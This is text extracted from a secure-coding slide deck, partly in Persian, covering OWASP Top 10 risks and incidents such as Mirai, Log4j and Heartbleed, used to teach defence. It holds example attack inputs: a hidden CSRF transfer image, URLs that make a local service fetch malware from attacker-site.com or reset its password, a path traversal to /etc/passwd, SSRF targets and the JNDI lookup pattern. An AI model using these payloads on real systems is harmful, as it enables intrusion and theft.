Secure Coding
Secure Coding
ﺻﺎﻟﺢ ﺧزاﻋﯽ
ھﮏ ﻧﺷدن از ﮐﮫ آﻣوﺧﺗﯽ؟ از ھﮑرھﺎ!
OWASP Top 10
Broken Access Control
94%
Broken Access Control
Broken Access Control
Broken Access Control
Broken Access Control
<img src="http://example.com/transfer/1234/1000000" width="0" height=
"0" border="0">
Broken Access Control
http://localhost:8080/gui/?action=add-url&s=http://attacker-site.com/malware
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=newpassword
Broken Access Control
Broken Access Control
Filename=../../../../../../etc/passwd
Bruthforce!
Injection
94%
Injection
• Sensitive information
• Correctness check, Existence -> Hash
• View -> Masking
• If we really need them -> Encryption
Vulnerable and Outdated Components
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF)
file:///etc/passwd
http://localhost:8080
http://wontevercloseconnection.xyz
Cryptographic Failures
Hard-coded credentials
ﺑزرﮔﺗرﯾن ﺧراﺑﮑﺎری ھﺎی ﺑرﻧﺎﻣﮫ ﻧوﯾﺳﺎن ☺
Mirai Botnet
Mirai botnet
• ARC Processor
• Default Username & Password
• baby monitors, vehicles, network routers,
agricultural devices, medical devices,
environmental monitoring devices, home
appliances, DVRs, CC cameras, headset, or
smoke detectors.
• 100,000 in an attack to Dyn DNS provider
Log4j Vulnerability
Log4j Vulnerability
• Log.info("${user.username} not found")
• Remote lookup: LDAP, DNS, Java Remote Method
Invocation (RMI)
• ${ jndi:protocol://server}. ${}
Log4j attack
Heart Bleed
Heart Bleed
Heart Bleed
Dependency Confusion
Meltdown
ﻣن در ﺣﺎل ﺗوﺳﻌﮫ ﻧرم اﻓزاری ھﺳﺗم ﮐﮫ داده ﻣﮭﻣﯽ ﻧداره ،آﯾﺎ ﺑﺎﯾد ﺑرای
اﻣﻧﯾﺗش وﻗت ﺑذارم؟